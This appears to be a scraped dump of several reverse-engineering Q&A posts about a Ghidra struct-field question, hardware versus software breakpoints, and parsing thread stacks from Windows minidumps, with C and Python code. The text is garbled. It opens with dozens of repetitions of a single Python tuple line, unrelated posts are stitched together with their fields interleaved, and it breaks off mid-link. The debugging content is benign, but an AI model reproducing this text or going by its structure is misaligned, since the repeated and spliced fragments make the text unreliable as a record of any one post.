DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) (u' 19 64 byte[64] 64 e_program &quot;Actual DOS program&quot;', db[64] ) </code></pre>
28039
2021-07-24T08:25:10.717
<h2 id="problem-n5lm">Problem</h2> <p>I have a struct of some type, say the DOS header at the beginning of a typical PE file:</p> <pre><code>/DOS/IMAGE_DOS_HEADER pack(disabled) Structure IMAGE_DOS_HEADER { 0 char[2] 2 e_magic &quot;Magic number&quot; 2 word 2 e_cblp &quot;Bytes of last page&quot; 4 word 2 e_cp &quot;Pages in file&quot; 6 word 2 e_crlc &quot;Relocations&quot; 8 word 2 e_cparhdr &quot;Size of header in paragraphs&quot; 10 word 2 e_minalloc &quot;Minimum extra paragraphs needed&quot; 12 word 2 e_maxalloc &quot;Maximum extra paragraphs needed&quot; 14 word 2 e_ss &quot;Initial (relative) SS value&quot; 16 word 2 e_sp &quot;Initial SP value&quot; 18 word 2 e_csum &quot;Checksum&quot; 20 word 2 e_ip &quot;Initial IP value&quot; 22 word 2 e_cs &quot;Initial (relative) CS value&quot; 24 word 2 e_lfarlc &quot;File address of relocation table&quot; 26 word 2 e_ovno &quot;Overlay number&quot; 28 word[4] 8 e_res[4] &quot;Reserved words&quot; 36 word 2 e_oemid &quot;OEM identifier (for e_oeminfo)&quot; 38 word 2 e_oeminfo &quot;OEM information; e_oemid specific&quot; 40 word[10] 20 e_res2[10] &quot;Reserved words&quot; 60 dword 4 e_lfanew &quot;File address of new exe header&quot; 64 byte[64] 64 e_program &quot;Actual DOS program&quot; } Size = 128 Actual Alignment = 1 </code></pre> <p>at address <code>00400000</code> in memory that is initialized as part of the loader and has some fixed values. It's already defined as a struct in Ghidra, e.g. by some auto analysis.</p> <p><a href="https://i.stack.imgur.com/Ljg1W.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ljg1W.png" alt="enter image description here" /></a></p> <p>Now I want to get the value of e.g. <code>e_cp</code>, the &quot;Pages in file&quot;, in this case <code>3</code>, ideally as a proper Ghidra datatype in case that is a pointer, address or some more complex datatype. Ideally I want to access it by the name &quot;e_cp&quot; and not by hardcoding the offset.</p> <h2 id="attempts-gjq3">Attempts</h2> <p><code>getDataAt(currentProgram.imageBase + 4)</code>, returns <code>null</code>, <code>etDataContaining(currentProgram.imageBase + 4)</code> returns a DataDB object for the entire <code>IMAGE_DOS_HEADER</code> struct.</p> <p>How can I get the actual value in memory at a known address, that is part of a struct?</p>
Access data at memory address that is part of a struct
|ghidra|
<p><strong>The short answer:</strong></p> <p>From the user point of view, software breakpoints are <em>only for instructions,</em> and you may set them <em>as many as you want</em>, while hardware breakpoints are <em>universal,</em> but you may use only a few of them (typically 4) at the same time.</p> <p><strong>TL,DR;</strong></p> <p>The hardware breakpoints are implemented by a special logic circuit <em>integrated directly in the CPU,</em> connected to</p> <ul> <li>the <em>address bus</em> on the one side, and</li> <li>the special <em>debug registers</em> on the other one.</li> </ul> <p><a href="https://i.stack.imgur.com/OFzl3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OFzl3.png" alt="enter image description here" /></a></p> <p>To set a hardware breakpoint, you fill the debug registers (generally indirectly by your debugger) with this information:</p> <ul> <li>the (starting) <strong>address</strong>,</li> <li>the <strong>length</strong> (byte, word, or double-word),</li> <li>the <strong>access mode</strong> to watch for (read, read/write, or instruction execution),</li> <li>the <strong>local/global</strong> mode (not used for the decision whether the code execution have to break).</li> </ul> <p>You may do it only for small number of addresses, it's hardware dependent, the common number is 2 to 6 (e.g. for x86 you may set 4 hardware breakpoints: addresses are written to the <em>debug registers DB0 to DB3</em>, while other info — for all addresses individually as appropriate bit flags — to the <em>DB7 register</em>).</p> <p>The circuit watches every access to the memory (RAM or ROM) and <em>compares address, length, and access mode</em> with values in the debug registers. If they correspond, the circuit sends the Halt signal and the debugger interrupts the execution of the debugged program.</p> <hr /> <p>So the <strong>differences</strong> between hardware breakpoints (HB) and software ones (SB) are:</p> <ol> <li><p>In the <strong>number of them</strong>:</p> <ul> <li>you may set <em>as many SBs as you wish,</em> but</li> <li>only <em>very small number of HBs</em> (typically 4).</li> </ul> </li> <li><p>In <strong>usability</strong>:</p> <ul> <li>SB is set to a <em>particular instruction</em> (there is no way to set them for memory access), while</li> <li>HB is set to address ranges and for the desired access mode.</li> </ul> </li> <li><p>In the applicable <strong>type of memory</strong>:</p> <ul> <li>SB <em>writes</em> into memory (the <code>INT 3</code> instruction in the place of the first byte of the watched instruction), so <em>it is not capable to set a breakpoint for instruction in read-only memory (ROM),</em> while</li> <li>HB don't write anything into memory, so it has not such a limitation.</li> </ul> </li> <li><p>In the <strong>speed</strong> (hardware is always faster than software, so HB is faster than SB).</p> </li> </ol> <p>For example, if you know the address of some string in memory and you are interested <em>when</em> it will be read, SB doesn't help you, but HW does.</p> <hr /> <p>Some references:</p> <ul> <li><a href="https://wiki.osdev.org/CPU_Registers_x86-64#DR0_-_DR3" rel="nofollow noreferrer">Debug registers for x86</a></li> <li><a href="https://hypervsir.blogspot.com/2014/09/debug-registers-on-intel-x86-processor.html" rel="nofollow noreferrer">Debug Registers on Intel x86 Processor Architecture (with or without VT-x)</a></li> <li><a href="https://www.sandpile.org/x86/drx.htm" rel="nofollow noreferrer">x86 architecture debug registers</a></li> </ul>
28045
2021-07-25T18:15:06.473
<p>In part 5 of the lena151 RE tutorial I saw the Hardware BP. The explanation he gave was very difficult for me to understand.</p> <p>Can anyone explain what is a hardware breakpoint and when we need to use it?</p>
What is Hardware Breakpoint and when we need to use it?
|breakpoint|
<p>the rva does not seem to point to _tagSTACKFRAME64 the size appears to be different 0x108 versus 0x4d0</p> <p>is there a specific reason to use dbghelp ?</p> <p>outputstacktrace from dbgeng is not acceptable?</p> <p><a href="https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiaenumstackframes?view=vs-2019" rel="nofollow noreferrer">have you looked at the com interfaces of DIA_SDK for an alternative</a></p> <p>checked an arbitrary dump for sizeof(_tagStackFrame) versus size in dump using code below</p> <pre><code>#include &lt;windows.h&gt; #include &lt;stdio.h&gt; #include &lt;dbghelp.h&gt; #pragma comment(lib, &quot;dbghelp.lib&quot;) int main(void) { HANDLE hFile = NULL; hFile = CreateFileA( &quot;tdump.dmp&quot;, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { printf(&quot;file handle is %p\n&quot;, hFile); HANDLE hMapFile = NULL; hMapFile = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (hMapFile != NULL) { printf(&quot;file Map handle is %p\n&quot;, hMapFile); LPVOID lpMapAddress = NULL; lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, 0); if (lpMapAddress != NULL) { printf(&quot;view of map file is %p\n&quot;, lpMapAddress); PMINIDUMP_DIRECTORY dudir = NULL; PVOID strptr = NULL; ULONG ssiz = 0; BOOL res = FALSE; res = MiniDumpReadDumpStream(lpMapAddress, 3, &amp;dudir, &amp;strptr, &amp;ssiz); if (res &amp;&amp; strptr != NULL) { PMINIDUMP_THREAD_LIST tlist = (PMINIDUMP_THREAD_LIST)strptr; for (ULONG32 i = 0; i &lt; tlist-&gt;NumberOfThreads; i++) { ULONG64 dsiz = tlist-&gt;Threads[i].ThreadContext.DataSize; ULONG64 rva = tlist-&gt;Threads[i].ThreadContext.Rva; ULONG64 memsta = tlist-&gt;Threads[i].Stack.StartOfMemoryRange; ULONG64 memsiz = tlist-&gt;Threads[i].Stack.Memory.DataSize; ULONG64 memrva = tlist-&gt;Threads[i].Stack.Memory.Rva; printf(&quot;look in debugger %I64x\t%I64x\t%I64x\t%I64x\t%I64x\n&quot;, dsiz, rva, memsta, memsiz, memrva); } _tagSTACKFRAME64 tsf = {0}; printf(&quot;%zx\n&quot;, sizeof(tsf)); } UnmapViewOfFile(lpMapAddress); CloseHandle(hMapFile); CloseHandle(hFile); } } } return 0; } </code></pre> <p>compiled and executed</p> <pre><code>cl /Zi /W4 /analyze:autolog- /Od /EHsc /nologo dumpdis.cpp /link /release dumpdis.cpp dumpdis.exe file handle is 000000000000009C file Map handle is 00000000000000A0 view of map file is 0000029D96410000 look in debugger 4d0 2076 dce012edb0 1250 0 look in debugger 4d0 2546 dce01af858 7a8 0 look in debugger 4d0 2a16 dce047fa68 598 0 look in debugger 4d0 2ee6 dce04ffb48 4b8 0 108 </code></pre> <p>here is stack frame using GetScope from dbgeng IDebugSymbols<br /> code below is a windbg extension a dll but you can make standalone exe with dbgeng (see samples in windbg sdk )</p> <p>code</p> <pre><code>#include &lt;engextcpp.cpp&gt; #define bufsiz 0x2000 class EXT_CLASS : public ExtExtension { public: EXT_COMMAND_METHOD(gscope); }; EXT_DECLARE_GLOBALS(); EXT_COMMAND(gscope, &quot;&quot;, &quot;&quot;) { PULONG64 ip = 0; DEBUG_STACK_FRAME sfr = {0}; BYTE scont[bufsiz] = {0}; HRESULT hr = m_Symbols-&gt;GetScope(ip, &amp;sfr, &amp;scont, bufsiz); if (hr == S_OK) { Out(&quot;insptr\t=\t%I64x\n&quot;, ip); Out(&quot;instof\t=\t%I64x\n&quot;, sfr.InstructionOffset); Out(&quot;retoff\t=\t%I64x\n&quot;, sfr.ReturnOffset); Out(&quot;fraoff\t=\t%I64x\n&quot;, sfr.FrameOffset); Out(&quot;staoff\t=\t%I64x\n&quot;, sfr.StackOffset); Out(&quot;ftentr\t=\t%I64x\n&quot;, sfr.FuncTableEntry); Out(&quot;parone\t=\t%I64x\n&quot;, sfr.Params[0]); Out(&quot;partwo\t=\t%I64x\n&quot;, sfr.Params[1]); Out(&quot;partre\t=\t%I64x\n&quot;, sfr.Params[2]); Out(&quot;parfor\t=\t%I64x\n&quot;, sfr.Params[3]); Out(&quot;resone\t=\t%I64x\n&quot;, sfr.Reserved[0]); Out(&quot;virtua\t=\t%I64x\n&quot;, sfr.Virtual); Out(&quot;franum\t=\t%I64x\n&quot;, sfr.FrameNumber); } } </code></pre> <p>compiled &amp; linked with</p> <pre><code>cat complink.bat cl /LD /nologo /W4 /Ox /Zi /EHsc /I&quot;C:\Program Files (x86)\Windows Kits\10\Debuggers\inc&quot; %1.cpp /link /EXPORT:DebugExtensionInitialize /Export:%1 /Export:help /RELEASE </code></pre> <p>executed !gscope and kb1 for comparison</p> <pre><code>cdb -c &quot;.load gscope;!gscope;kb1;q&quot; -z ..\dumsta\tdump.dmp |awk &quot;/Reading/,/quit/&quot; 0:000&gt; cdb: Reading initial command '.load gscope;!gscope;kb1;q' insptr = 0 instof = 7ffe652f108c retoff = 7ffe652f444f fraoff = dce012ede0 staoff = dce012edb0 ftentr = 0 parone = dce0245000 partwo = 7ffe6534d4b0 partre = 7ffe6534d4b0 parfor = 7ffe6534d4b0 resone = 0 virtua = 1 franum = 0 RetAddr : Args to Child : Call Site 00007ffe`652f444f : 000000dc`e0245000 00007ffe`6534d4b0 00007ffe`6534d4b0 00007ffe`6534d4b0 : ntdll!LdrpDoDebuggerBreak+0x30 quit: </code></pre>
28058
2021-07-28T03:56:21.000
<p>I'm currently using Python3.9 in Linux to obtain the necessary information from a minidump file. I used WinDBG on my windows system to check whether the information I got was right.</p> <p>While [1], [2] and [3] have helped, there are still some holes that aren't covered. The purpose of this is to create a script that can disect the minidump. I've managed to get the ThreadList, MemoryList, MemoryInfoList and moduleList. But I'm missing the stack information, which seems to be within the MINIDUMP_THREAD info's Stack field as shown below:</p> <pre><code>typedef struct _MINIDUMP_THREAD { ULONG32 ThreadId; ULONG32 SuspendCount; ULONG32 PriorityClass; ULONG32 Priority; ULONG64 Teb; MINIDUMP_MEMORY_DESCRIPTOR Stack; MINIDUMP_LOCATION_DESCRIPTOR ThreadContext; } MINIDUMP_THREAD, *PMINIDUMP_THREAD; </code></pre> <p>It's a MINIDUMP_MEMORY_DESCRIPTOR which has the following structure:</p> <pre><code>typedef struct _MINIDUMP_MEMORY_DESCRIPTOR { ULONG64 StartOfMemoryRange; MINIDUMP_LOCATION_DESCRIPTOR Memory; } MINIDUMP_MEMORY_DESCRIPTOR, *PMINIDUMP_MEMORY_DESCRIPTOR; </code></pre> <p>The Memory field has the following structure:</p> <pre><code>typedef struct _MINIDUMP_LOCATION_DESCRIPTOR { ULONG32 DataSize; RVA Rva; } MINIDUMP_LOCATION_DESCRIPTOR; </code></pre> <p>So all in all, the Stack.Rva contains the relative virtual address in the minidump file.</p> <p>Going to that address, I see 'stuff' but at this point in the documentation, there's no indication of what structure is stored there. I thought it'd be a STACKFRAME structure (was grasping at straws) which is given as:</p> <pre><code>typedef struct _tagSTACKFRAME { ADDRESS AddrPC; ADDRESS AddrReturn; ADDRESS AddrFrame; ADDRESS AddrStack; PVOID FuncTableEntry; DWORD Params[4]; BOOL Far; BOOL Virtual; DWORD Reserved[3]; KDHELP KdHelp; ADDRESS AddrBStore; } STACKFRAME, *LPSTACKFRAME; </code></pre> <p>But looking at the hex values, it doesn't make sense:</p> <pre><code>00 00 00 00 D1 F8 AF 77 29 16 6B 77 C8 01 00 00 00 00 00 00 00 00 00 00 D0 87 C0 BD E0 60 85 00 c8 01 00 00 28 c1 39 00 24 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2B 00 2B 00 87 02 21 00 00 00 00 00 AC BF 39 00 AB F0 6A 77 ... </code></pre> <p>That would mean AddrPC = {Offset: 00 00 00 00, Segment: D1 F8 AF 77, Mode: 29}</p> <p>So I figured I'd cheat by running Windbg on this crashdump file to find the corresponding info; but I don't see how the above hex dump can be translated to the following:</p> <pre><code>00 0039bf98 776b1629 000001c8 00000000 00000000 ntdll!NtWaitForSingleObject+0x15 01 0039c004 75491194 000001c8 ffffffff 00000000 KERNELBASE!WaitForSingleObjectEx+0x98 02 0039c01c 75491148 000001c8 ffffffff 00000000 kernel32!WaitForSingleObjectExtImplementation+0x75 03 0039c030 5a581e3a 000001c8 ffffffff 00000000 kernel32!WatiForSingleObject+0x12 ... </code></pre> <p>While I can see some of the info from windbg's call stack, the information isn't a contiguous set of info.</p> <p>Unfortunately, my understanding of C++/C is limited at best so I couldn't grasp the information as given in [5]</p> <p>Might anyone have suggestion on how to reverse engineer the structure of what's at this address?</p> <p>I know it's some sort of structure that includes a list of stackframes; but the documentation at [1] doesn't specify what kind of structure. I'm guessing there's a header and some array of structure. Unfortunately, I haven't found (yet) documentation that shows a map of a minidump (akin to [4]). Something like this would make my understanding easier.</p> <p><code>*Addendum:*</code></p> <p>Having worked on this on and off, I still haven't figured it out despite @blabb's help. I went and took a look at [6] which points out the Stack structure for X86. Having lost my original dump file, I used a new dump file. I used a minidump_stackwalker binary that came up with the following: (The rva of the crashing thread was 0x0141ff - binary dump follows)</p> <pre><code> Crash reason: EXCEPTION_ACCESS_VIOLATION_READ Crash address: 0x8 Thread 0 (crashed) 0 k.dll + 0x310bf3f eip = 0x5d42bf3f esp = 0x0053bea0 ebp = 0x0053bf74 ebx = 0x0053bed0 esi = 0x00a1b000 edi = 0x0053bf98 eax = 0x00000008 ecx = 0x00000004 edx = 0x0053bfb0 efl = 0x00210287 Found by: given as instruction pointer in context 1 k.dll + 0x310bc3b eip = 0x5d42bc3c esp = 0x0053bf7c ebp = 0x0053bfd8 Found by: previous frame's frame pointer 2 k.dll + 0x311e7b3 eip = 0x5d43e7b4 esp = 0x0053bfe0 ebp = 0x0053c004 Found by: previous frame's frame pointer 3 k.dll + 0x3280958 eip = 0x5d5a0959 esp = 0x0053c00c ebp = 0x0053c064 Found by: previous frame's frame pointer ... </code></pre> <p>binary dump at 0x0141ff:</p> <pre><code>000141f0h: FC EC 23 00 00 00 00 AC 03 00 00 34 7B 03 00 8B 00014200h: 55 18 8B 45 0C FF 24 8D CC 4A D7 5D C7 44 24 14 00014210h: 00 00 00 00 8D 4E 10 89 4C 24 0C 8B 56 10 89 54 00014220h: 24 10 8D 54 24 0C 89 56 10 8B 00 89 44 24 04 8B 00014230h: 07 89 44 24 38 89 4c 24 30 89 54 24 34 c7 44 24 ... </code></pre> <p>From what I gathered from [6], since this is a x86 binary, I assumed [possibly wrongly] that it'd be using the stack structure as given by [6] and not [7].</p> <p>That would mean the context_flags starts at 0x000141ff which gives me 8B 55 18 8B. From the comments in [6], this context_flag means this stack is a MD_CONTEXT_X86_ALL. So after using the following script:</p> <pre><code>#!/bin/env python import os import sys hdrs_x86 = { &quot;context_flags&quot;: 4, &quot;dr0&quot;: 4, &quot;dr1&quot;: 4, &quot;dr2&quot;: 4, &quot;dr3&quot;: 4, &quot;dr6&quot;: 4, &quot;dr7&quot;: 4, &quot;fs_control_word&quot;: 4, &quot;fs_status_word&quot;: 4, &quot;fs_tag_word&quot;: 4, &quot;fs_error_offset&quot;: 4, &quot;fs_error_selector&quot;: 4, &quot;fs_data_offset&quot;: 4, &quot;fs_data_selector&quot;: 4, &quot;fs_register_area&quot;: (1, 80), &quot;fs_cr0_npx_state&quot;: 4, &quot;gs&quot;: 4, &quot;fs&quot;: 4, &quot;es&quot;: 4, &quot;edi&quot;: 4, &quot;esi&quot;: 4, &quot;ebx&quot;: 4, &quot;edx&quot;: 4, &quot;ecx&quot;: 4, &quot;eax&quot;: 4, &quot;ebp&quot;: 4, &quot;eip&quot;: 4, &quot;cs&quot;: 4, &quot;eflags&quot;: 4, &quot;esp&quot;: 4, &quot;ss&quot;: 4, &quot;extended_registers&quot;: (1, 80) } hdrs_x64 = { &quot;p1_home&quot;: 8, &quot;p2_home&quot;: 8, &quot;p3_home&quot;: 8, &quot;p4_home&quot;: 8, &quot;p5_home&quot;: 8, &quot;p6_home&quot;: 8, &quot;context_flags&quot;: 4, &quot;mx_csr&quot;: 4, &quot;cs&quot;: 2, &quot;ds&quot;: 2, &quot;es&quot;: 2, &quot;fs&quot;: 2, &quot;gs&quot;: 2, &quot;ss&quot;: 2, &quot;eflags&quot;: 4, &quot;dr0&quot;: 8, &quot;dr1&quot;: 8, &quot;dr2&quot;: 8, &quot;dr3&quot;: 8, &quot;dr6&quot;: 8, &quot;dr7&quot;: 8, &quot;rax&quot;: 8, &quot;rcx&quot;: 8, &quot;rdx&quot;: 8, &quot;rbx&quot;: 8, &quot;rsp&quot;: 8, &quot;rsp&quot;: 8, &quot;rbp&quot;: 8, &quot;rsi&quot;: 8, &quot;rdi&quot;: 8, &quot;r8&quot;: 8, &quot;r9&quot;: 8, &quot;r10&quot;: 8, &quot;r11&quot;: 8, &quot;r12&quot;: 8, &quot;r13&quot;: 8, &quot;r14&quot;: 8, &quot;r15&quot;: 8, &quot;rip&quot;: 8 } MDCTXX86 = 0x00010000 MDCTXX86_CONTROL = MDCTXX86 | 0x00000001 MDCTXX86_INTEGER = MDCTXX86 | 0x00000002 MDCTXX86_SEGMENTS = MDCTXX86 | 0x00000004 MDCTXX86_FLOATING_POINT = MDCTXX86 | 0x00000008 MDCTXX86_DEBUG_REGISTERS = MDCTXX86 | 0x00000010 MDCTXX86_EXTENDED_REGISTERS = MDCTXX86 | 0x00000020 MDCTXX86_XSTATE = MDCTXX86 | 0x00000040 MDCTXX86_FULL = MDCTXX86_CONTROL | MDCTXX86_INTEGER | MDCTXX86_SEGMENTS ALL_P1 = MDCTXX86_FULL | MDCTXX86_FLOATING_POINT ALL_P2 = MDCTXX86_DEBUG_REGISTERS | MDCTXX86_EXTENDED_REGISTERS MDCTXX86_ALL = ALL_P1 | ALL_P2 def rev_item(in_bytes, no_rev=False): tmp = [x for x in in_bytes] if not no_rev: tmp.reverse() retval = [] for item in tmp: hv = hex(item).replace(&quot;0x&quot;, &quot;&quot;) if len(hv) &lt; 2: hv = &quot;0&quot; + hv retval.append(hv) return retval def is_dr(in_ctx, in_item): return in_ctx is not None and \ in_item in [&quot;dr0&quot;, &quot;dr1&quot;, &quot;dr2&quot;, &quot;dr3&quot;, &quot;dr6&quot;, &quot;dr7&quot;] and \ in_ctx &amp; MDCTXX86_DEBUG_REGISTERS &gt; 0 def is_seg(in_ctx, in_item): return in_ctx is not None and \ in_item in [&quot;gs&quot;, &quot;fs&quot;, &quot;es&quot;, &quot;ds&quot;] and \ in_ctx &amp; MDCTXX86_SEGMENTS def is_int(in_ctx, in_item): return in_ctx is not None and \ in_item in [&quot;edi&quot;, &quot;esi&quot;, &quot;ebx&quot;, &quot;edx&quot;, &quot;ecx&quot;, &quot;eax&quot;] and \ in_ctx &amp; MDCTXX86_INTEGER def is_fp(in_ctx, in_item): return in_ctx is not None and \ in_item.startswith(&quot;fs_&quot;) and \ in_ctx &amp; MDCTXX86_FLOATING_POINT def is_control(in_ctx, in_item): return in_ctx is not None and \ in_item in [&quot;ebp&quot;, &quot;eip&quot;, &quot;cs&quot;, &quot;eflags&quot;, &quot;esp&quot;, &quot;ss&quot;] and \ in_ctx &amp; MDCTXX86_CONTROL def is_ext_reg(in_ctx, in_item): return in_ctx is not None and \ in_item in ['extended_registers'] and \ in_ctx &amp; MDCTXX86_EXTENDED_REGISTERS def check_for_ctx(in_ctx, in_item): retval = False for itemfn in [is_dr, is_seg, is_int, is_fp, is_control, is_ext_reg]: retval = itemfn(in_ctx, in_item) if retval: break return retval res = [] res2 = [] hdrv = {} hdrs = hdrs_x86 with open(&quot;e:\\test.dmp&quot;, 'rb') as fp: addr = 0x141ff fp.seek(addr) ctx = None for item, item_rl in hdrs.items(): read_len = item_rl add_item = False if isinstance(item_rl, tuple): vr = [] read_len = item_rl[0] for i in range(item_rl[1]): tmp = fp.read(read_len) tmph = tmp.hex().replace(&quot;0x&quot;, &quot;&quot;) vr.append(tmph) read_len = item_rl[1] else: v = fp.read(item_rl) vr = rev_item(v, no_rev=True) if item == &quot;context_flags&quot;: ctx = int(&quot;&quot;.join(vr), 16) if check_for_ctx(ctx, item): if item not in hdrv: hdrv[item] = vr addr += read_len for item, iteminfo in hdrv.items(): print(item, &quot;&quot;.join(iteminfo)) </code></pre> <p>It displays</p> <pre><code>dr0 450cff24 dr1 8dcc4ad7 dr2 5dc74424 dr3 14000000 dr6 008d4e10 dr7 894c240c fs_control_word 8b561089 fs_status_word 5424108d fs_tag_word 54240c89 fs_error_offset 56108b00 fs_error_selector 89442404 fs_data_offset 8b078944 fs_data_selector 2438894c fs_register_area 243089542434c744242c00000000894c24248d442438895c24288d4c2424894e108d4c242c31ff515056e89a6adfff83c40c84c074178d4424186a09ff74243050e813aedfff83c40c8b7c24188b4424 fs_cr0_npx_state 248b4c24 gs 2889088b fs 4424308b es 4c243489 edi 08897c24 esi 1485ffb3 ebx 010f841a edx 0300008d ecx 4424148b eax 54240489 ebp d1c1f91f eip 6a005152 cs e9de0200 eflags 000fbe00 esp e94d0100 ss 00c74424 extended_registers 14000000008d4e10894c240c8b5610895424108d54240c8956108b00894424048b0789442438894c243089542434c744242c00000000894c24248d442438895c24288d4c2424894e108d4c242c31ff51 </code></pre> <p>But this doesn't make any sense as it doesn't even bear any resemblance to what's given in the results. Like I got <code>d1c1f91f</code> as the EBP, but it's actually <code>0x0053BF74</code> Ergo, I've misunderstood this whole thing.</p> <p><code>*Additional Addendum*</code>: The addendum was wrong on two points.</p> <ol> <li>I was barking up the wrong tree. I mistook the <code>minidump Memory info</code> list as where the stack was.</li> <li>I was working on the same minidump. Just was confused with what section I was working on.</li> </ol> <p>I've opted to keep the Addendum section and not delete it. (Along the lines of 1000 ways of not doing something.)</p> <p>Any help greatly appreciated,</p> <p>:ewong</p> <p>[1] - <a href="https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/" rel="nofollow noreferrer">https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/</a></p> <p>[2] - <a href="https://github.com/utds3lab/sigpath/blob/master/scripts/minidump.py" rel="nofollow noreferrer">https://github.com/utds3lab/sigpath/blob/master/scripts/minidump.py</a></p> <p>[3] - <a href="https://github.com/libyal/libmdmp/blob/main/documentation/Minidump%20%28MDMP%29%20format.asciidoc#thread_information_stream" rel="nofollow noreferrer">https://github.com/libyal/libmdmp/blob/main/documentation/Minidump%20%28MDMP%29%20format.asciidoc#thread_information_stream</a></p> <p>[4] - <a href="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/Portable_Executable_32_bit_Structure_in_SVG_fixed.svg/1920px-Portable_Executable_32_bit_Structure_in_SVG_fixed.svg.png" rel="nofollow noreferrer">https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/Portable_Executable_32_bit_Structure_in_SVG_fixed.svg/1920px-Portable_Executable_32_bit_Structure_in_SVG_fixed.svg.png</a></p> <p>[5] - <a href="https://chromium.googlesource.com/breakpad/breakpad/+/refs/heads/main/src/client/minidump_file_writer.cc" rel="nofollow noreferrer">https://chromium.googlesource.com/breakpad/breakpad/+/refs/heads/main/src/client/minidump_file_writer.cc</a></p> <p>[6] - <a href="https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_x86.h" rel="nofollow noreferrer">https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_x86.h</a></p> <p>[7] - <a href="https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_amd64.h" rel="nofollow 